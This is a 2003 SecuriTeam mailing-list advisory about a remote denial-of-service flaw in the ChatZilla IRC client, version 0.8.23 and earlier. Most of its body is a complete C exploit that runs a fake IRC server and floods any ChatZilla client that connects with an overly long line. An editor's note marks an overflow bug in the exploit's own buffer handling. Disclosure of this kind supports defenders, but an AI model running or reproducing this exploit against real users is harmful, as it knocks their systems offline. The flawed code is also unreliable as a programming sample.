[UNIX] ChatZilla Remote Denial of Service Vulnerability (Long Buffer)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/16/03

  • Next message: SecuriTeam: "[UNIX] Vulnerability in Bandsite Allows Gaining Admin Access"
    To: list@securiteam.com
    Date: 16 Sep 2003 15:53:55 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      ChatZilla Remote Denial of Service Vulnerability (Long Buffer)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mozilla.org/projects/rt-messaging/chatzilla/> ChatZilla is
    "an IRC client that is written entirely in JavaScript and XUL". A
    vulnerability in the ChatZilla product allows IRC server to cause the
    product to consume large amount of CPU time by sending it an arbitrary
    long command.

    DETAILS

    Vulnerable systems:
     * ChatZilla version 0.8.23 and prior

    It is possible to freeze system by sending special request with very long
    string (60kb) to ChatZilla.

    Exploit:
    /*
     * ChatZilla <=v0.8.23 remote DoS exploit
     *
     * by m00 Security // www.m00security.org
     *
     * This sploit creats a fake irc-server on any port. Every connected
     * ChatZilla-client will have cpu-usage 100%.
     *
     * Complete advisory:
     * www.m00security.org/adv/adv003.txt
     *
     * -d4rkgr3y [d4rk@securitylab.ru]
     */

    #include<sys/types.h>
    #include<sys/socket.h>
    #include<netinet/in.h>
    #include<arpa/inet.h>
    #include<unistd.h>
    #include<signal.h>
    #include<stdio.h>
    #include<stdlib.h>
    #include<string.h>

    #define COUNT 60000
    #define request "NOTICE AUTH :*** Welcome to fake m00 IRCd\n"

    int main(int argc, char **argv)
    {
      struct sockaddr_in db;
      int sock, i, len, lame;
      const c = COUNT;
      char buf[60000] = ":Serv 000 user666 :Welcome to the underworld";
      printf("\nChatZilla <=v0.8.23 remote DoS exploit //
    www.m00security.org\n\n");
      if (argc!=2){
        printf("[-] error in params. Usage\n %s port\n",argv[0]);
        exit(1);
      } else {
        printf("[~] Generating evil buf....");
      }
      /* constructing evil buf */
      for (i=0;i<c;i++)
      {
        strcat(buf,"A"); <-- Editor's note, there is an off-by-more than one
    here :)
      }
      strcat(buf,"\n");
      printf(" OK\n");
      /* creating fake irc-server */
      db.sin_family = AF_INET;
      db.sin_addr.s_addr = INADDR_ANY;
      db.sin_port = htons(atoi(argv[1]));
      sock = socket(PF_INET, SOCK_STREAM, 0);
      if(bind(sock, (struct sockaddr*)&db, sizeof(db)) == -1) {
        perror("[-] bind()");
        _exit(0);
      }
      /* OK */
      printf("[+] fake ircd created on port %s\n",argv[1]);
      /* waiting for connect */
      listen(sock, SOMAXCONN);
      while(1) {
        printf("[+] User connected. Attacking....");
        len = sizeof(db);
        lame = accept(sock, (struct sockaddr*)&db, &len);
        /* go go go */
        write(lame,request,strlen(request));
        write(lame,buf,strlen(buf));
        printf(" OK\n");
        close(lame);
        close(sock);
        return(0);
      }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:grey_1999@mail.ru> d4rkgr3y.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Vulnerability in Bandsite Allows Gaining Admin Access"

    Relevant Pages